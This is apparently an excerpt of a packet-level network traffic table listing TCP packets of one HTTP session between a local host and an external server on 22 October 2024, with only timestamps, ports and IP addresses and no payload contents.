Oct 22, 2024 19:24:43.398931026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398935080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398935080 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398947001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.398983002 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.398993015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399004936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399019003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399033070 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399034977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399051905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399079084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399153948 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399168968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399183989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399188995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399203062 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399205923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399205923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399216890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399226904 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399240971 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399255037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399269104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399270058 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399281979 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399307013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399308920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399308920 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399338007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399360895 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399374008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399388075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399401903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399413109 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399413109 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399415016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399429083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399431944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399444103 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399461031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399473906 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399477005 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399492025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399507046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399523973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399523973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399540901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399590015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399631023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399645090 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399653912 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399705887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399720907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399755001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399769068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399791956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399806023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399821043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399832010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399846077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399859905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399910927 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399924994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399940968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399951935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399955034 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399970055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.399974108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399974108 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.399983883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400001049 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400012016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400027037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400039911 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400041103 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400053978 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400054932 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400069952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400073051 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400085926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400100946 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400120974 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400120974 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400156975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400171041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400185108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400198936 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400213003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400219917 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400227070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400233984 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400253057 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400255919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400269032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400295019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400299072 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400310040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400324106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400341034 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400341034 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400346041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400352955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400403976 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400407076 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400418997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400434017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400450945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400454998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400461912 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400470972 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400476933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400500059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400513887 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400513887 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400515079 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400530100 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400542974 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400556087 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400567055 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400582075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400594950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400608063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400609016 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400624037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400666952 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400666952 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400686026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400710106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400723934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400736094 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400749922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400751114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400751114 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400774002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400787115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400790930 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400790930 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400803089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400825977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400831938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400842905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400856972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400881052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400882006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400896072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400911093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400912046 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400937080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400938034 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.400954008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400968075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400980949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.400995016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401005030 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401010036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401025057 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401047945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401062965 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401077032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401083946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401083946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401133060 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401144981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401166916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401182890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401196003 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401210070 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401223898 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401247978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401263952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401268959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401283026 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401283979 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401285887 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401303053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401314974 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401318073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401362896 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.401401997 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401416063 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401437998 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401451111 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401475906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401489973 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401504040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401515007 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401540995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401556015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401568890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401583910 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401597977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401612043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401632071 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401644945 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401659012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.401782036 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.412945986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.412962914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.412980080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.412983894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.412992954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413005114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413019896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413033962 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413047075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413062096 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413075924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413090944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413094044 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.413094044 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.413094044 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.413145065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.413166046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413188934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413203955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413217068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413230896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413244963 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.413247108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.413263083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.413296938 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.440625906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.440654993 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.440670013 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.440737963 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.484751940 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.486705065 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.486762047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.486776114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.486789942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.486881018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.486881018 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.511665106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511703014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511720896 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511745930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511761904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511775017 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511776924 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.511790037 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511807919 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511831999 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511847019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511847973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.511847973 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.511872053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511887074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511900902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511908054 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.511915922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511929989 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511945963 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.511953115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511970043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.511970043 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.511984110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512001038 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512001991 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.512039900 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.512532949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512564898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512579918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512590885 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.512834072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512847900 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512862921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.512881041 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.512902975 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513144016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513189077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513220072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513243914 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513258934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513273954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513288975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513298988 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513304949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513320923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513329029 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513353109 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513372898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513444901 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513495922 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513787985 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513825893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513848066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513860941 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513863087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513879061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.513907909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.513907909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514049053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514065027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514116049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514147043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514162064 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514175892 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514189959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514215946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514230013 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514264107 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514277935 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514292955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514306068 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514321089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514322996 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514336109 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514373064 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514434099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514507055 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514517069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514561892 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514571905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514586926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514610052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514624119 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514638901 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514669895 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514669895 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514756918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514771938 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514786959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514802933 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514808893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514821053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514823914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514823914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514836073 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514852047 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:43.514853954 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514868975 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:43.514882088 CEST	49717	80	192.168.2.8	185.215.113.16
